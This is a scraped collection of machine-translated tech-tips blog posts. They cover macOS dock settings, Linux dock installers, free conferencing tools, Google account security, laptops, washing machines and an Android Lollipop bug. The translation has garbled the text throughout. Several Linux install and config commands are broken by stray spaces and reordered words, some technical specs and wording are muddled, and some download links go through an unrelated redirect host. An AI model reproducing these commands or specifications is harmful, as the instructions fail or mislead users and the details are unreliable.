disappear in seconds.\n  Step 3: When the dock appears again, use the scroll button to scroll down to the open application icons on the device. Soon, the windows of the application in use will appear on the screen. And you can just click the window you want to use.\nStep 4: To disable the hidden feature on the dock bar and return to the same status, change true in the Terminal command line to false:\ndefaults write com.apple.dock scroll-to-open -bool false ; killall Dock\nAlso press Enter so the command line is executed.\nSo with just a simple command line on Terminal you can customize the dock on your Mac quickly. From there, we can easily open the window we need on the application faster, without having to add some search operations like before.\nRefer to the following articles: Summary of the list of common shortcuts on Mac OS X Instructions on how to install macOS Sierra (clean install) 10.12 on Mac How to create a MacOS Sierra installed USB drive 10.12 I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZJ6mkZe5pnnHopudnZ5is6at066pnqtdm7yzecOomqRln6N6rq3CZqas\n","link":"/post/instructions-to-enable-hidden-features-for-dock-on-mac-os/","section":"post","tags":null,"title":"Instructions to enable hidden features for dock on Mac OS"},{"body":"The 13-inch MacBook Pro, though not upgraded to Core i series processors, has impressive battery life and performance. Alienware breaks the price and size barrier with M11x for gaming consoles. Meanwhile, HP G62t is the emerging \"star\" of mid-range laptops . Along with the configuration, good design, the models introduced by Laptopmag below are very attractive prices. The most attractive mid-range laptop: HP G62t\n  HP G62t. Photo: HP .\nG62t is really one of the most affordable mid-range laptops in early 2010. This model has a 15.6-inch screen with fingerprint-free surface and dark brown color that is suitable for most people. use.\nThe model is also equipped with 4GB of RAM, a powerful Intel Core i3 processor with a large capacity 500GB hard disk with 7,200 rpm. G62t is also powerful at listening to music with Altec Lansing brand-name speakers for large, clear and clear volume. Maybe gamers or heavy graphic requesters will be dissatisfied with the configuration, but at a price of just over VND 13,000,000 in Vietnam, G62t is really a \"hot\" item. The most attractive Mac: MacBook Pro (13 inch)\n  MacBook Pro 13 inch. Photo: Apple .\nAlthough not integrated Intel Core i series processors in the last upgrade of Apple, but the MacBook Pro version 13-inch screen is still very attractive thanks to the level has been confirmed and the price is much more comfortable. compared to before. This model can work smoothly with up to 4GB RAM and powerful Nvidia GeForce 320M graphics card.\nThe special thing in this MacBook version is the continuous use time of up to 10 hours. With the new graphics card, this model was also introduced to increase the processing power by 80% compared to the old version by the manufacturer. Macbook Pro 13-inch screen size will have two versions, one uses 2.4 GHz Intel Core 2 Duo chip, 250GB hard drive price in the US market is 1,199 USD, the remaining version uses Intel Core chip 2 Duo speeds of 2.66 GHz 320GB hard drive costs $ 1,499. The most entertaining desktop replacement laptop: Samsung R780\n  Samsung R780. Photo: Samsung .\nThe R780 has a large screen of up to 17 inches and a resolution of 1,600 x 900 pixels. Model with strong configuration with Intel Core i5-430M processor with 2.26 GHz speed, 4GB DDR3 RAM memory, NVIDIA GeForce GT 330M graphics card with 1GB VRAM and 500 GB hard drive with 5400 speed /minute.\nCurrently Samsung R780 is not available in Vietnam but with the price in the US only about 799 USD, this model is really worth the domestic consumers to wait and care about. Best mobile gaming laptop: Alienware M11x\n  Alienware M11x. Photo: Engadget .\nM11x is a mobile gaming machine that has been waiting for a long time by gamers because of its smaller size than previous Alienware models, while the price is not high. Configured to include a low-voltage Core 2 Duo processor combined with an NVIDIA GT335M graphics chip, M11x is one of the smallest but most powerful laptops on the market. Products on this line have a starting price of 799 USD in the US.\nIn Vietnam, the M11x version has the configuration including 11.6 inch WXGA standard screen size with resolution of 1366 x 768 pixels, Intel Core 2 Duo SU7300 processor with 1.3 GHz speed, DDR3 8GB RAM memory , Nvidia GeForce GT 335M graphics card and 250 GB hard drive cost about 23,000,000 VND. The most attractive netbook: Asus Eee PC 1001p\n  Asus Eee PC 1001p. Photo: Asus .\nThree years after Asus launched the first netbook on the market, a number of other brands' products were introduced. However, it seems that Asus seems to still own the best model with the appearance of the Eee PC 1001P remembering good configuration and very attractive price.\nThe Eee PC 1001P model is equipped with a standard 10.1-inch WSVGA resolution screen of 1024 x 600 pixels, Intel Atom N450 processor with 1.66 GHz speed, 1GB RAM, 250 GB hard drive with a sale price. only about 6,000,000 VND.\nncG1vNJzZmismaXArq3KnmWcp51kuaK806inZquklrulec6uq2ahnmKyor7LsmRraGFl\n","link":"/post/laptop-stand-out-in-early-2010/","section":"post","tags":null,"title":"Laptop stand out in early 2010"},{"body":"According to CNET, a few days before Senator Ron Wyden, an advocate for the protection of privacy and personal data proposed a new user data protection bill. Accordingly, the penalty for technology companies that violate the data privacy of users in the new bill is very high, not only increasing the amount of fines, but also executives responsible for penalties. the.\nThe newly proposed bill provides that when the company discloses a user's personal information, executives will be held criminally liable, with a maximum sentence of 20 years in prison.\nIf based on the terms of the newly proposed privacy law, CEO Mark Zuckerberg could face the most severe penalty of 20 years in prison.\n  Mr. Wyden said the privacy of users will not be respected by Mark Zuckerberg if Facebook CEO does not see the serious personal consequences. A jail sentence would be preferable to a fine from the FTC.\nSenator also said that users should be allowed to refuse to monitor ads. On platforms such as Facebook, most of the user's data is collected to serve ads.\nIf the bill proposed by Senator Ron Wyden is passed, Facebook or Google and a lot of other tech giants will get entangled.\nBe careful when reporting fake Facebook accounts, you may get locked out Facebook will launch Horizon virtual reality social network in 2020 ncG1vNJzZmismaXArq3KnmWcp51kuqK%2Bymaxrpubmr%2BjsdGgZJynpaGxbrLAnJxmraBiwbB5kWlksp2Rp8Butc1mp6uho6S7brXFZquhnV2jsrh5z6ugr5mTrnqtrdZmoKxloJbAtLHD\n","link":"/post/mark-zuckerberg-could-face-up-to-20-years-in-prison-if-the-new-privacy-law-is-passed/","section":"post","tags":null,"title":"Mark Zuckerberg could face up to 20 years in prison if the new privacy law is passed"},{"body":"Elementary OS is an increasingly popular Linux operating system. It is an operating system with a very prominent desktop. The main reason for this popularity is the dock.\nVery easy to understand why. Dock is an important aspect of macOS desktop experience. Elementary OS mimics this interface, using Pantheon desktop environment for better performance. It is like macOS. While users may take time to set up a new work environment on Pantheon, installing a new dock is much faster and simpler.\nMaybe you have switched to Linux after using macOS; Or maybe you like the idea of ​​a dock. Whatever the reason, these 5 desktop docking stations for Linux will help you improve your productivity. Find out through the following article!\nThe best 5 dock for Linux 1. Docky 2. Avant Window Navigator (AWN) 3. GLX Dock / Cairo Dock 4. Plank 5. DockBarX 1. Docky If you are looking for a simple dock, this tool is an option you should consider. Much like the macOS dock, Docky is considered one of the best solutions on Linux. Indeed, it has been called by users that \"the best dock without money can be bought\".\nBetter yet, Docky is both easy to install and easy to use and has recently been integrated into the GNOME desktop.\n  To install on Ubuntu, just look at the software center. If not, install in the command line using:\n sudo apt-get install docky  Meanwhile, Fedora users can use the usual yum command:\n su -c 'yum install docky'  If you are not using Ubuntu or Fedora, check out the distro support forum for more information.\nOnce Docky is installed, you can add the app to the launcher and select some docklets. These utility tools can show details of your weather, CPU activity, clock and more.\n2. Avant Window Navigator (AWN) Link to reference: https://launchpad.net/awn With this dock installed, you can quickly start and control your favorite applications. External applets can also be embedded. They are available through Synaptic Package Manager (and other Linux package managers).\n  Since AWN is not maintained for a while, you will need to add an archive to install it. For systems like Ubuntu, enter:\n sudo add-apt-repository ppa: nilarimogard / webupd8  When the repository is added, just update and install.\n sudo apt update sudo apt install --install-recommends avant-window-navigator  If not, follow the instructions on GitHub (https://github.com/p12tic/awn) to install dependencies and build from the source.\nUsing AWN is usually a pretty good experience, but not without problems. This is an old dock solution and has not received much attention from developers in recent years. However, although AWN does not seem to be maintained, because it still works. Therefore it is still on the list today as a reference option.\n3. GLX Dock / Cairo Dock Reference link: http://glx-dock.org/ Designed to be compact, fast and easy to customize to the user's preferences, the GLX Dock (also known as Cairo Dock) is designed to be a very special desktop. This basically means that it will run in any desktop environment.\n  GLX Dock will support applications added to the dock, as well as provide notifications from those applications. Custom menus (backgrounds, shapes and support for your own CSS) can be managed from the configuration panel, along with utility themes and shortcuts.\nTo install, you will need to add Cairo Dock PPA:\n sudo add-apt-repository ppa: cairo-dock-team / ppa sudo apt-get update  Then install:\n sudo apt-get install cairo-dock cairo-dock-plug-ins    GLX Dock has a configuration way (right-click on the dock, select Cairo-Dock\u0026gt; Menu ) and use extremely simple, making it one of the best options for Linux docking on this list.\n4. Plank Link to reference: https://launchpad.net/plank Called the simplest dock on the planet, Plank is definitely a lightweight option. It is also configurable and preinstalled on some versions of Ubuntu, such as MATE.\n  Usually, install via PPA:\n sudo add-apt ppa repository: ricotz / docky  When this is complete, update and install.\n sudo apt-get update sudo apt-get install plank  After installation, you can manage the configuration by clicking on the Plank icon and adjusting the settings, as illustrated above.\nChanges can also be made via a text file:\n sudo nano ~ / .config / plank / dock1 / settings  Here you can change different settings. For example, the icon size can be edited:\n IconSize = 48  There are also HideMode settings:\n HideMode = 1  Option 1 will hide the dock bar intelligently. The alternative is 0 (disable hidden feature), 2 (auto-hide) and 3 (ignore active window). You can also change the location of the Dock plug:\n Position = 3  This is the bottom part of the screen. Left is 0 , must be 1 and the top is 2 . Browse the configuration file for other options.\nUsing and configuring is simple, Plank is a desktop dock experience that will surely make you satisfied.\n5. DockBarX Link reference: http://linuxthemer.blogspot.nl/p/dockbarx.html Perhaps the most flexible option of all the options listed here is DockbarX. It is designed as a lightweight taskbar that replaces the control panel and other things like:\nA standalone dock (called DockX) Avant Window Navigator application An Xfce 4 panel applet A MATE dashboard applet A GNOME 2 panel applet   Installing DockbarX also requires PPA to be installed first:\n sudo add-apt ppa repository: dockbar-main / ppa  More than ever, wait for the PPA installation to complete, then run the update and install.\n sudo apt-get update sudo apt-get install dockbarx  To use Xfce desktops, you will need:\n sudo apt-get install xfce4-dockbarx-plugin  Use the GitHub instructions for a complete list of dependencies for manual installation. You can also install the theme for the dock with:\n sudo apt-get install dockbarx-themes-extra  After installing, start and run DockbarX:\n dockx  Or open it from the menu (usually Accessories).\nDockX is highly configurable. Not only can it be used as a dock, it works as well as an Unity style launcher (it will be useful if you love Unity). This and other features can be configured by right-clicking on the DockX bar and selecting Properties, or by opening the DockbarX Preferences window from the Accessories menu .\nWhy install a Dock?\nAlthough the dock can make your Linux desktop look great, that's not really a reason to install a dock. The real reason for this action is because of labor productivity. Can you do more with a dock?\nOf course you can. But you will need to ensure that the applications and tools you regularly use are easily accessible from it. In addition, the position (bottom of the screen, next to, or above), as well as its size, is also very important. There is also a problem of latency of the auto-hide feature.\nIf the Linux dock you chose provides the ability to control these things, then you will be able to increase your productivity.\nHave you tried a Linux dock yet? Are you still searching or have there been a choice from the list above? Try it once, and let us know what you think!\nSee more:\n10 most notable Linux desktops 10 notable Linux file managers 'Transform' Ubuntu Linux into Mac OS X ncG1vNJzZmismaXArq3KnmWcp51kwamxjJucrKxdanqlu8KkZJ%2BnomK5qrrUsQ%3D%3D\n","link":"/post/the-best-5-dock-for-linux/","section":"post","tags":null,"title":"The best 5 dock for Linux"},{"body":"Web conferencing has become the preferred method for remote groups to work together. But the cost of web conferencing tools can be huge. For that reason, many startup companies, entrepreneurs and workers want to use free web conferencing tools to organize and participate in online meetings.\nFree web conferencing software sometimes lacks the features that many paid programs offer or only offer a limited trial period. But these restrictions may still be acceptable, depending on your circumstances.\nTo help you save money and find the best free video conferencing solution, here is a list of 5 great tools that TipsMake.com has gathered.\n1. Uberconference Advantages\nAvailable for multiple locations. Meetings can be easily recorded. Screen sharing and mobile applications available. Defect\nPIN must be used on free accounts. International numbers are not available for free accounts. Free account limited to 10 participants.  Uberconference Uberconference is a useful web conferencing tool. Uberconference also includes some great features in the free package, including call recording, voice replication, screen sharing and allowing up to 10 people to join each call. (The paid version allows up to 100 participants.)\nThe app also provides an unlimited number of conference calls per month and doesn't require a PIN number to start or join a call. Limitations with the free Uberconference version are that calls are limited to 45 minutes and there is no support for international calls.\nDownload Uberconference :\u0026nbsp;https://www.uberconference.com/ 2. Intermedia AnyMeeting Advantages\nApps for desktop and mobile devices. Screen sharing and screen annotations available. Custom meeting URLs are available for all levels. Defect\nLimited free trial period. The program started to allow only 4 participants. Only the most expensive levels can be recorded.  Intermedia AnyMeeting Formerly known as Freebinar, Intermedia AnyMeeting is a paid web conferencing tool with a 14-day free trial period.\nAnyMeeting offers 2 options: Lite and Pro . Both packages allow you to hold meetings of up to 200 people. There are also unlimited meetings, screen sharing, VoIP / PSTN audio calls and meeting chats.\nThe Pro version provides a bit more functionality, including the ability to record meetings, upload presentations, take notes, and give attendees the ability to control the mouse and keyboard directly for tools. more advanced collaboration.\nParticipants do not need to download the application or plug-in to join the meeting, but the host (meeting creator) will control the meeting via software.\nDownload Intermedia AnyMeeting :\u0026nbsp;https://www.intermedia.net/anymeeting-video-conferencing 3. Mikogo Advantages\nThe 14 day premium trial doesn't require a credit card and revert to your free account when the trial ends. Provide multi-screen support. Defect\nOnly 25 participants are allowed at the Professional and Team level. Lower / free levels allow only 1 participant.  Mikogo Mikogo is another great web conferencing tool with a 14-day free trial period. With an unlimited number of meeting participants at a time (paid subscription), Mikogo has all the necessary features to create a useful online meeting tool.\nThe host can record meetings, switch between presenters, and pause screen sharing (for example, when you need to open a document in a separate folder, for example). You can even control the speed and color quality of screen sharing to save bandwidth.\nThe downside is the number of participants in a call, only allows a maximum of 25 people for all levels, less than most other services on this list.\nDownload Mikogo for Windows :\u0026nbsp;http://download.mikogo4.com/mikogo-host.exe Mikogo for Mac :\u0026nbsp;https://www.mikogo.com/ 4. Skype Advantages\nThe calls can be completely web based without having to download anything. No credit card needed. Background Blur feature (background blur) is available. Defect\nCall quality is not stable. Limited to 10 participants at a time. Monthly charge for voice calls.  Skype As one of the earliest video chat services, Skype offers a more cross-platform paid solution for video conferencing, with free calls between Skype subscriber owners.\nSkype Meetings is Skype 's free video conferencing service. It provides most of the same tools and features found in this article, including screen sharing, file uploads, and HD audio and video. There are also options for real-time translation, SMS and landline calling.\nThe downside is that only up to 10 people can be allowed at the same time. Skype is a great option for users to make multiple calls to landlines or international numbers. International packages allow you to make calls around the world for a monthly fee. There are also payment options via Skype Credit and Skype to Go.\nDownload Skype :\u0026nbsp;http://v1.getpedia.net/data/?q==YTNxMTM3QTN5cTOxYTMyczM2wXOzkDN8VGel5yM50CMtgTNtgTLlBXerN1L4EzLzAzLwIDMy8SZslmZvEGdhR2L\u0026amp;e=o 5. Zoom Advantages\nAllow up to 100 participants (even on free packages). Whiteboard and screen sharing features available. Recording capabilities are available. Defect\nThe free service limits calls to 40 minutes. Some more useful features are unlocked when paying.  Zoom Zoom, like many of the other options on the list, is a web conferencing tool that offers free and paid packages. The free account with Zoom has some pretty powerful features, including conferences that allow up to 100 participants, unlimited live conferencing, video and audio conferencing, and collaboration features. Groups like whiteboard and screen sharing.\nOne difficulty with Zoom is that the conference participants are limited to 40 minutes. Paid service allows unlimited call duration, hundreds of meeting participants, cloud storage space for call recording, admin dashboard, email and custom URL, etc.\nDownload Zoom :\u0026nbsp;http://v1.getpedia.net/data/?q==IzNwADNwUzN0QzNxYTMyczM2wnNyQzN0EDflhXZuIXZsxWY0NnbJ12bvp1L5EzLyAzLwIDMy8SZslmZvEGdhR2L\u0026amp;e=o ncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5kn6qVmnq4scFmmqimlpq%2FprrCoqWgZaSkvK2%2F\n","link":"/post/top-5-free-web-conferencing-tools/","section":"post","tags":null,"title":"Top 5 free web conferencing tools"},{"body":"With a Google account in hand, we can use many other services with huge amounts of data such as sending Gmail email, online Google Data storage, image storage with Google Photos , . If your Google account accidentally falls into the hands of others, which means that all the information and data in the above service applications will also be overlooked.\nTherefore, the protection of all personal information on Google accounts is necessary to avoid situations of hacked accounts. And big Google also offers many solutions, to increase user account security. Here are 4 methods to limit your ability to hack Google accounts.\n1. Restore Google account: The first thing that we introduce to you is the option to restore the system. With this setting, we can avoid the account being hacked and quickly restore the personal account.\nStep 1: At the Google interface, click on My Account (My Account).\n  Step 2: At My Account interface, click on Login and Security (Sign-in \u0026amp; Security).\n  Step 3: At Login and security interface, we scroll down under Sign in into Google and find the Account recovery options (Account recovery options) section. Here, we proceed with the steps to set up email recovery (email recovery) and recovery phone number (recovery phone).\n  2. Activate 2-step Google account verification: Two-layer verification is considered the best security method to protect personal accounts such as double-layer security for Facebook, secure two-layer Gmail, and with Google personal information you should also follow the steps This secret.\nWhen a user activates 2-step verification will receive a password and a random code sent to the phone to access his account. This will prevent hackers from detecting passwords based on your information such as identification number, date of birth, home address, .\nStep 1: Also in the Login and security interface (Sign-in \u0026amp; Security). Scroll down to Sign in to Google (Singing into Google) and go to Password and sign-in method. Here, click on 2-Step Verification.\n  Step 2: At the new interface, we choose Start .\n  Step 3: Next, we enter the phone number that is in normal use and choose the method of receiving the code in writing or phone. Then press Try .\n  Step 4: Enter the Google code sent to your phone and click Next .\n  You will receive a 2-Step Verification message for the account. Click Enable to enable this feature.\n  See also Activating Google Prompt to improve 2-layer security 3. Disable Allow Less Secure Apps option: When a third-party application identified by Google is unsafe, it will block it when trying to access your account. But what if we have to use that application?\nIn this case, you can enable the Allow unsafe applications (Allow Less Secure Apps) access to your personal Google account. However, more dangerous when we enable this feature, all less secure applications can access your account. Therefore, it is best to disable this option by following these steps:\nStep 1: At Google Sign-in \u0026amp; Security interface, select Applications and connected websites (Connected apps \u0026amp; sites).\n  Step 2: At this interface, scroll down and select Allow less secure applications (Allow Less Secure Apps) and push the horizontal bar to the left to turn off this mode.\n  4. Check the security status of your account with Google Security Checkup: Finally, you should check the overall security of everything with the Google Security Checkup option.\nStep 1: Click on the link below:\nhttps://security.google.com/settings/intro/security/secureaccount If you have not logged in to your Google account, click Sign in to start to start. If you are logged in, you can use this feature right away.\n  Step 2: Next, you will proceed with the confirmation according to the 6 security content required by Google . You just need to confirm the information and click Done .\n  The above are 4 things that confirm and protect important Google information that you should not ignore. Best in the process of securing information on Google, you should use two-layer security and receive codes via phone to prevent the loss of personal account passwords.\nRefer to the following articles: Fix Flash Plugin errors on Firefox and Coc Coc Instructions for fixing common errors in web browsers Fix errors not typing Vietnamese on Chrome I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51kxKK602arqGWjmrC2vsRmsKitomK0sLvGpZxmmZOYvLa602abqGWepMFutcanpqudXam1pnnFqKOlp6eeu6g%3D\n","link":"/post/want-to-secure-your-google-account-do-not-ignore-the-following/","section":"post","tags":null,"title":"Want to secure your Google account? Do not ignore the following!"},{"body":"Since its inception, the line of washing machines combined with drying function has soon reached the focus of modern families, especially with large families.\nHowever, it is not easy to choose a good washing machine between countless products. So how to choose a washing machine with the best drying mode: LG, Electrolux or Samsung? Let's find us!\nSynopsis What is a washing machine? Compare the drying mode of LG washing machine, Electrolux \u0026amp; Samsung LG washing machine - Efficient energy saving solution, for clean clothes to 99, 9%, no wrinkles, damage Drying machine Electrolux washing and drying clothes super fast, super energy saving Samsung washing machine with diversified features and luxurious and outstanding design  What is a washing machine? A dry washer is also called a washing machine with drying or washing machine with a drying function. This product combines 2 functions of washing and drying clothes. If, with a normal washing machine, the machine only washes clothes and the user has to dry it, then with the washing machine, the clothes will dry immediately after the end of the program, your job is to bring them to the fold and give into the cabinet. Thus, users can shorten the stage and labor for washing.\n  With a combination of smart coming from a washing machine, you no longer have to worry about long dry clothes, moldy smell in wet and wet weather. This is the most effective solution to solve all the problems of washing your whole family.\nCompare the drying mode of LG washing machine, Electrolux \u0026amp; Samsung 1. LG washing machine - Efficient energy saving solution, for clean clothes insole up to 99, 9%, without worrying about wrinkles and damage It can be said that LG is a leading brand in the production of electrical equipment - refrigeration with long-term reputation in the market, product quality and durability. LG branded products always receive the trust of consumers. Therefore, there is no reason that LG's washing machine line is not known and loved by many.\nFeatures of LG washing machine Integrated TrueSteam premium steam washing technology helps refresh clothing, while killing bacteria, removing odors, preventing up to 99.9% of allergens by steam without the need for cleaning chemicals. The 6 motionDD 6-motion washing technology will automatically control the speed and rotation of the washing bucket in multiple directions to suit each type of fabric, thereby optimizing fabric care and washing super clean clothes.   The two inverter direct drive motors not only improve washing performance, but also help to minimize vibration. Moreover, the washing and drying mode of LG washing machine is extremely smooth, noise-free and durable. In addition, inverter application products save electricity and water costs, consume less energy. However, because the product is integrated with perfect features, modern technology that LG washing machine line has a disadvantage that is easy to recognize is the high price so not every family has conditions. owned. Currently the price of LG washing machines mainly ranges from 15 to 30 million VND.\nRefer to a number of typical LG washing machines Horizontal cage washer LG inverter FC1409D4E - Reference price: 15,400,000 VND\nWasher type: Front door Actual drying volume: Laundry (9kg); Drying (5kg) Number of programs: 13 Spin speed: 1,400 rpm Child lock: Yes Timer: Yes Inverter technology: Yes Material of washing bucket: Stainless steel Material of casing: Metal powder coating Brand: Korea Made in Vietnam Warranty: 24 months LG dry cleaning machine 10.5kg FG1405H3W / TG2402NTWW - Reference price: VND 30,500,000\nWasher type: Front door Material Stainless steel The actual amount of laundry drying: Main cage (10kg); Extra cage (2kg) Inverter technology: Yes Material of washing bucket: Stainless steel Case material: Stainless steel Material lid: Bearing glass Brand: Korea Made in Vietnam Warranty: 24 months 2. Drying machine Electrolux washing and drying clothes super fast, super power-saving Electrolux is a well-known brand in the market of technology items, especially washing machines with outstanding characteristics of durable quality, luxurious design, creativity, warranty and good care. Regarding Electrolux washing machine line, it can be said that the product has quite good drying function, deserving to be one of the reliable choices of consumers.\nFeatures of dry cleaning machine Electrolux The product reduces the effect of UV rays on the quality of clothing. Integrated Eco Inverter technology helps save energy efficiently while you use laundry. This technology helps reduce power consumption by up to 75%, thus saving a significant amount of electricity monthly for the family. The ability to refresh and help make clothes more wrinkled within 30 minutes, to bring softness and aroma to long-lasting clothes in the closet. With this feature, you will not have to spend a lot of time to be the family clothes before using. Not only possessing modern technology, compared to LG's washing machine, Electrolux's washing machine line also has a fairly affordable price, ranging from 10 million to 18 million dong.   Although it has many advantages and reasonable prices, but the Electrolux series of washing machines still has a small drawback, which is strong noise and vibration due to the high speed of rotation, making many people feel bothered. when using this brand's washing machine. However, when using, to minimize noise, you can customize for lower rotation speed.\nSome products of washing machine Electrolux typical Drying machine Electrolux EWW12853VN - Reference price: 10,290,000 VND\nWasher type: Front door Actual drying volume: Washing volume (8kg); Drying volume (5kg) Spin speed: 1200 rpm Material of washing bucket: Aluminum alloy Brand: Sweden Manufactured in: Thailand Warranty: 24 months Washing machine for Inverter front door Electrolux EWW14113 - Reference price: 17,490,000 VND\nWasher type: Front door Voltage source: 220V / 50Hz Spin speed: 1,400 rpm Material of washing bucket: Stainless steel Brand: Sweden Manufactured in: Thailand Warranty: 24 months 3. Samsung washing machine with diversified features and luxurious and outstanding design In terms of brand, although it is not possible with 2 brands LG and Electrolux, but Samsung is also a big brand that always shows great effort in producing washing machine product lines, including washing machine line. Samsung's washing machine products focus on user experience, giving users a real and exciting experience. The following features will definitely help you to have an additional option for good washing machines.\nFeatures of Samsung washing machine Owing to the technology of vented drying, Samsung's drying washer confidently affirms the ability to dry clothes up to 100% without smell or discomfort. Thus, users can use it immediately after washing or storing in the cabinet. The characteristics of Samsung washing machines are impressive and luxurious designs and innovative washing technology that is always renewed. Thanks to a very diverse washing program, two drying programs to choose from, users can use it with most types of clothing, blankets . Samsung washing machine integrates Inverter technology with digital inverter to help use energy efficiently and economically with direct drive motor to smooth operation to minimize noise and help the machine operate stably.   However, there is a minus point: at present, most of washing machine products of Samsung have high prices, ranging from 15 to 42 million VND. Therefore, depending on your financial condition, you should consider when choosing to buy a Samsung washing machine.\nTypical Samsung washing machine products: Drying machine Samsung Flex Wash WR24M9960KV / SV - Reference price: 42,560,000 VND\nWasher type: Front door The actual amount of laundry drying: Main washing cage (21kg); Additional washing cages (3.5kg); Drying (12kg) Number of programs: 13 Spin speed: 1100 rpm Drive motor: Curling wire Cleaning the washing bucket: Yes Timer: Yes Inverter technology: Yes Antibacterial, deodorant: Yes Material of washing bucket: Stainless steel Material of casing: Metal powder coating Material lid: Bearing glass Brand: Korea Made in Vietnam Warranty: 24 months If you want to own the washing machine with the best drying mode, guarantee genuine, quality from 3 above brands, you can refer to the website META.vn. Or you can immediately contact the hotline below for free advice:\nIn Hanoi: No. 56 Duy Tan, Dich Vong Hau Ward, Cau Giay - Tel: 024.35.68.69.69 In HCMC: 716-718 Dien Bien Phu, Ward 10, District 10 - Phone: 028.38.33.33.66 Refer to some articles below:\nShould I buy a vertical cage washer or a horizontal cage washer? Top 3 non-drying laundry machines at best price for families Washer errors and how to fix them ncG1vNJzZmismaXArq3KnmWcp51kxKm1wqFknaqpnruoecyom55lmah6o7HSrWSfp6Jiuah5xKWcnKyipLm2xIyoqWarkaLAtrrG\n","link":"/post/which-drying-mode-is-best-for-lg-electrolux-or-samsung/","section":"post","tags":null,"title":"Which drying mode is best for LG, Electrolux or Samsung?"},{"body":" calendar application | TipsMake.com    in ios 13, apple added the ability to attach files to events in the calendar app. this is a useful feature available because that means, when an event takes place, you get any relevant documents or information immediately.   calendar like italy - calendar wan nien 2020 brings users the calendar of yin and yang lookup and comes with many new features.   certainly, there are many choices. but don't worry! the article will introduce you to the best calendar applications in microsoft store. let's find out later!   if you have experienced it on ios 9, users will notice some interesting new features like siri smarter or new maps. however, just like the previous ios versions, apple also lurks in many other features that not everyone knows.   desktop calendar is the calendar software on the computer, supporting recording plans, appointments, ...   calbot is an application for scheduling and events on windows when linked to a desktop calendar application.   just like the previous rumor about microsoft will launch an update for core applications in windows 8 / rt, today, the company announced it will confirm a new update for mail applications. , calendar and people on next tuesday, april 2.   you can do many things with the mac's apple calendar app instead of just creating calendars and events. take some time to learn more about it with advanced tips below.   google calendar is a popular productivity tool but also useful for other areas of life. you can make your calendar more interesting by adding one or more other applications.   in addition to watching the lunar calendar, the calendar can also see horoscopes, fortune telling, good and bad days and learn about traditional customs.   you do not need to use too many productivity tools. if deployed correctly, a simple online calendar application is sufficient for most organization and data needs.   ncG1vNJzZmismaXArq3KnmWcp51kwaKz0miamqSVo7Givoyap6mkmZiutbXOp2WhrJ2h\n","link":"/post/calendar-application-tipsmake-com/","section":"post","tags":null,"title":"calendar application | TipsMake.com"},{"body":"Android Lollipop 5.0 of Google is considered the \"fever\" update ever. Similar to Apple's iOS 7 last year, Lollipop brings Android users an almost comprehensive change in the interface with the new Material Design design language.\n  \nThis new design has really made Google mobile platform \" modernized \". However, unfortunately for those who have updated to Android 5.0 because they are facing an inconvenience.\nA lot of users have shared their complaints on Reddit and many other large Android blogs about a change that could be a serious error, or it could be an unreasonable omission from Google. A thread on Reddit talking about this issue now has 415 comments.\nAccording to the above complaints, Android 5.0 version has completely removed the Silent Mode of Android. This mode helps users to turn off all audio and vibration notifications, which they can normally activate by pressing and holding the volume down button. The volume down to level 0 will also activate the \" vibrate only \" mode and when you press the volume down button once again, the device will switch to Silent Mode.\nAndroid 5.0 adds a new mode called Priority Mode to help users block all notifications on their smartphones or tablets, but those who have a habit of activating Silent Mode with volume down buttons on Android smartphones will see it. Expected by Priority Mode is absolutely not an alternative.\nHowever, on the Nexus 9 tablet running Android 5.0, users still have the option to activate Silent Mode by holding down the volume down key. That's why many Android fans believe that this is definitely a pretty serious error on phones running Android 5.0, not a deliberate change from Google.\nncG1vNJzZmismaXArq3KnmWcp51ksLO106KamqRdmr%2Bzu9Fmnaitnpl6sLqMmqWdqp%2BesW64zqWjoqifpXp2fA%3D%3D\n","link":"/post/critical-error-found-on-android-lollipop-5-0/","section":"post","tags":null,"title":"Critical error found on Android Lollipop 5.0?"},{"body":"The ASUSPRO B400 is ultrabook for business people with a simple, professional and durable design for high mobility needs, priced from VND 19 million.\n  \nASUSPRO B400 is the ultrabook line that meets the requirements that businessmen need for their work and ensures continuous movement: outstanding durable design, high performance and security, good governance, and complete connection ports.\nASUSPRO B400 has excellently won the prestigious and prestigious international design awards such as iF Design Award, Japan Good Design Award, Taiwan Excellence Award . by its professional and elegant design advantages.\nWith a slim design of 20mm and weighing about 1.64kg , B400 has all the high-end features of Ultrabook. Carbon fiber case provides high durability and 6 times more bearing capacity than conventional notebooks.\nThe monolithic design provides a simple, elegant look, anti-glare LCD screen with a wide viewing angle of 140 degrees. Spill-resistant keyboard and a slightly sloping design provide a comfortable tilt for the hand when typing. Large size touchpad 21% spacious and comfortable.\n  \nB400 is optimally improved for impressive durability through the application of rigorous tests to prove its reliability and quality. Double drop test, pass hinges test 20,000 times. With metal reinforcement design in shock-absorbing corners and cushions, the B400 passes tests of pressure and vibration resistance.\nB400 equipped with Intel Core 3 processor, NVIDIA NVS 5200M professional graphics with 1GB video memory. Built-in hybrid hard drive for fast booting, 228GB SSD memory.\nSecurity system includes: TPM (Trusted Platform Module), self-encrypted hard drive (SED), fingerprint recognition technology.\nIn addition, Intel security solutions such as Intel Small Business Advantages Resources provide data backup and protection, software management, USB port lock, battery power protection, and health monitoring. At the same time, Intel Smart Connect Technology automatically updates email, news or social networks quickly, Intel Anti-Theft Technology is an effective anti-theft technology.\nThe ASUSPRO B400 has 2 models, the B400A-W3150H uses i5-3337U chip, priced at VND 19.5 million, while the B400A-W3045H model uses the i5-3317U chip for VND 19 million.\nncG1vNJzZmismaXArq3KnmWcp51ksq%2FA0Z6nq52emsKzedSlq6uZkqS8rHnArKysqKKkeqOAj2lkqaqZmLKlecCtZGpxXaK2rbjIqKU%3D\n","link":"/post/entrepreneur-ultrabook-asuspro-b400-priced-at-19-million/","section":"post","tags":null,"title":"Entrepreneur Ultrabook ASUSPRO B400 priced at 19 million"},{"body":"The Microsoft Office Ribbon toolbar is quite useful, making it easy for users to access and access features. The point is that Ribbon takes up a lot of space on the screen, making it difficult for you to process documents. However, don't worry too much, you can hide the Ribbon in case you don't need to show or show Ribbon if needed.\n  When the Ribbon is minimized, on the screen only the Tab name is displayed. You can click on that Tab name to drop the Tab.\nTo minimize or enlarge the Ribbon , simply double-click on any Tab name. Or you can press Ctrl + F1 on the keyboard.\n  Another option is to right-click on any Tab name. If the current Ribbon is minimized, on the popup menu, check the Collapse the Ribbon option . To enlarge Ribbon again, you uncheck the option \u0026nbsp; 